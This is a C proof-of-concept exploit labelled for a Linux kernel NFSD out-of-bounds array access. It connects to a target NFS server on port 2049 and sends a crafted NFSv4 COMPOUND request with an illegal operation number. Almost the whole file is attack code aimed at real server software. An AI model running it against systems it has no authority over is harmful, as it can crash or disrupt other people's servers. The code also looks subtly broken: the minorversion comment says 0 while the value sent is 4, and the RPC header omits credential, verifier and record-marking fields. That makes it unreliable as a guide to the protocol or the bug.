/*
* CVE-2023-53680 - Linux Kernel NFSD Out-of-Bounds Array Access PoC
*
* This PoC demonstrates how to trigger the OPDESC() out-of-bounds access
* by sending a crafted NFSv4 COMPOUND request containing an illegal operation.
*
* Requires: libnfs or raw socket access to an NFSv4 server.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* NFSv4 constants */
#define NFS4_PROGRAM 100003
#define NFS4_VERSION 4
#define NFS4_COMPOUND 1
#define NFSPROC4_COMPOUND 1
#define OP_ILLEGAL 10044
/* XDR encoding helpers */
static unsigned int xdr_pos = 0;
static unsigned char xdr_buffer[8192];
static void xdr_encode_uint32(unsigned int *pos, unsigned int value) {
unsigned char *p = xdr_buffer + *pos;
p[0] = (value >> 24) & 0xFF;
p[1] = (value >> 16) & 0xFF;
p[2] = (value >> 8) & 0xFF;
p[3] = value & 0xFF;
*pos += 4;
}
static void xdr_encode_string(unsigned int *pos, const char *str) {
unsigned int len = strlen(str);
xdr_encode_uint32(pos, len);
memcpy(xdr_buffer + *pos, str, len);
*pos += (len + 3) & ~3; /* pad to 4-byte boundary */
}
int main(int argc, char *argv[]) {
int sock;
struct sockaddr_in server_addr;
const char *target_ip = (argc > 1) ? argv[1] : "127.0.0.1";
/* Create TCP socket */
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
return 1;
}
/* Connect to NFS server */
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(2049);
inet_pton(AF_INET, target_ip, &server_addr.sin_addr);
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("connect");
close(sock);
return 1;
}
/* Build NFSv4 COMPOUND request with OP_ILLEGAL */
unsigned int pos = 0;
/* RPC header (simplified) */
xdr_encode_uint32(&pos, 0x80000000); /* xid */
xdr_encode_uint32(&pos, 0); /* msg_type = CALL */
xdr_encode_uint32(&pos, 2); /* RPC version */
xdr_encode_uint32(&pos, NFS4_PROGRAM);
xdr_encode_uint32(&pos, NFS4_VERSION);
xdr_encode_uint32(&pos, NFSPROC4_COMPOUND);
/* COMPOUND args */
xdr_encode_string(&pos, "anonymous"); /* tag */
xdr_encode_uint32(&pos, 4); /* minorversion = 0, use NFSv4.0 */
/* Operations array - single operation with OP_ILLEGAL */
xdr_encode_uint32(&pos, 1); /* number of operations */
xdr_encode_uint32(&pos, OP_ILLEGAL); /* opnum = OP_ILLEGAL (triggers OOB) */
/* Send the crafted request */
if (send(sock, xdr_buffer, pos, 0) < 0) {
perror("send");
close(sock);
return 1;
}
printf("[+] Sent crafted NFSv4 COMPOUND with OP_ILLEGAL to %s\n", target_ip);
printf("[+] Target NFSD should trigger out-of-bounds access in OPDESC()\n");
close(sock);
return 0;
}